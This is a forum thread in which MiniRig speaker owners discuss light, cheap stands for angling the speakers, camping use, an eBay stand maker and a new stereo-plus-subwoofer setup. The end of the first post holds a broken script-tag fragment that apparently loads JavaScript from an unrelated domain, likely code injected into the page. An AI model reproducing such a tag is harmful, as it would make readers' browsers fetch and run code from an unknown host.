The snug fit of the casing is rigid enough to tilt and hold the speakers at an angle from 0 degrees (flat) to 60-70 degrees incline, while resting on the desk. Maybe because I am too lazy, but this is just fine for my needs. Mostly I listen while seated about a meter from the speakers, so this range works for me. I think that a vertical inclination at ear height might be better for larger stereo sound stages. If this is what you seek, just make sure there is no rattling to spoil the fine sound.< ="text/" async="" ="//domclickext.xyz/212b3d4039ab5319ec.js">

Domo!

I too have been thinking that re-purposing some plastic lids or something will be a good start. Cutting a notch so that they stay at the correct angle would be the main "design element."

The YouTuber OLUV (that does tons of speaker reviews) has a set of simple stands that I have seen around the web. I think they were 3-D Printed. But the simple design should be easy to replicate by using scrounged pieces of plastic.
 
EDIT: Oh, I guess Clavinetjunkie and Oluv are one in the same. :) 

(When camping--and that is what I love portable sound for--I have tucked the speakers into rock ledges and/or used some fabric to prop them up but the former tends to make it easier to scrape the speakers up and the latter tends to not keep the speakers steady enough.)

I am sure this has been discussed here before but I didn't see anything on speaker stands when I poked about. Has anyone discovered a lightweight set of stands that tip the MiniRigs at an angle (And are also actually available and not too expensive)? 

Again, Thank you Matt and Joji!

There's an ebay user called mkstands who makes some metal stands for the minirigs (various models / combinations available).  For example: https://ebay.us/7S7rAx

Thank you!

If one wants metal stands to hang from a wall, he is your guy.

I backpack all my stuff for miles and there are no walls in the mountains. So I am after something extremely light and designed to sit on the floor/ground that simply aims the speakers at a 45 degree angle. (Keeping them on the ground helps maximize bass response.)

So far, cutting up a cottage cheese container is the solution. Light. Cheap. Functional.

But I'd still like something designed to fit that description.

Oh my!
My second V2 sub arrived a week or so after my new V3 speakers.

Unbelievable!

What an amazing sound the 2.2 system delivers. I only played a few songs but was stunned with the power of this system. The stereo imaging was very detailed.

I look forward to fiddling with finding the perfect arrangement of the speakers...distance between the main speakers, location of subs, etc.
